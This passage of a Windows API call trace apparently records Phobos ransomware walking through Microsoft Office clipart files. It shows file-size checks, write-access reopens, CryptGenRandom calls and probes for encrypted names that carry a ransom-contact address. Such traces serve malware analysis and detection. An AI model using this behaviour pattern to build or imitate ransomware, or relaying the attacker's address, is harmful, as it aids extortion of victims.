Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.253] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.255] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12528) returned 1 [0151.255] CloseHandle (hObject=0x564) returned 1 [0151.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 0x220 [0151.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.256] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.257] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1376) returned 1 [0151.257] CloseHandle (hObject=0x564) returned 1 [0151.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 0x220 [0151.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.258] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.295] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=46702) returned 1 [0151.295] CloseHandle (hObject=0x564) returned 1 [0151.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 0x220 [0151.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.297] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.327] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9736) returned 1 [0151.327] CloseHandle (hObject=0x564) returned 1 [0151.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 0x220 [0151.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.497] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.529] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14552) returned 1 [0151.529] CloseHandle (hObject=0x564) returned 1 [0151.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 0x220 [0151.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.689] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.690] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=25868) returned 1 [0151.690] CloseHandle (hObject=0x564) returned 1 [0151.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf")) returned 0x220 [0151.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.691] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.692] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33824) returned 1 [0151.692] CloseHandle (hObject=0x564) returned 1 [0151.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 0x220 [0151.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.692] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.693] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24238) returned 1 [0151.693] CloseHandle (hObject=0x564) returned 1 [0151.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 0x220 [0151.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.693] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.694] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30522) returned 1 [0151.694] CloseHandle (hObject=0x564) returned 1 [0151.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 0x220 [0151.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.695] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.695] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=35726) returned 1 [0151.695] CloseHandle (hObject=0x564) returned 1 [0151.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf")) returned 0x220 [0151.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.696] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.697] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7796) returned 1 [0151.697] CloseHandle (hObject=0x564) returned 1 [0151.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 0x220 [0151.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.698] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.699] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8578) returned 1 [0151.699] CloseHandle (hObject=0x564) returned 1 [0151.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 0x220 [0151.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.699] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.701] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14308) returned 1 [0151.701] CloseHandle (hObject=0x564) returned 1 [0151.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 0x220 [0151.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.701] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.702] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8666) returned 1 [0151.702] CloseHandle (hObject=0x564) returned 1 [0151.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf")) returned 0x220 [0151.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.702] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.703] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33850) returned 1 [0151.703] CloseHandle (hObject=0x564) returned 1 [0151.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 0x220 [0151.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.704] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.705] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17662) returned 1 [0151.705] CloseHandle (hObject=0x564) returned 1 [0151.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 0x220 [0151.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.705] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.706] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=18212) returned 1 [0151.706] CloseHandle (hObject=0x564) returned 1 [0151.706] GetFileAttributesW 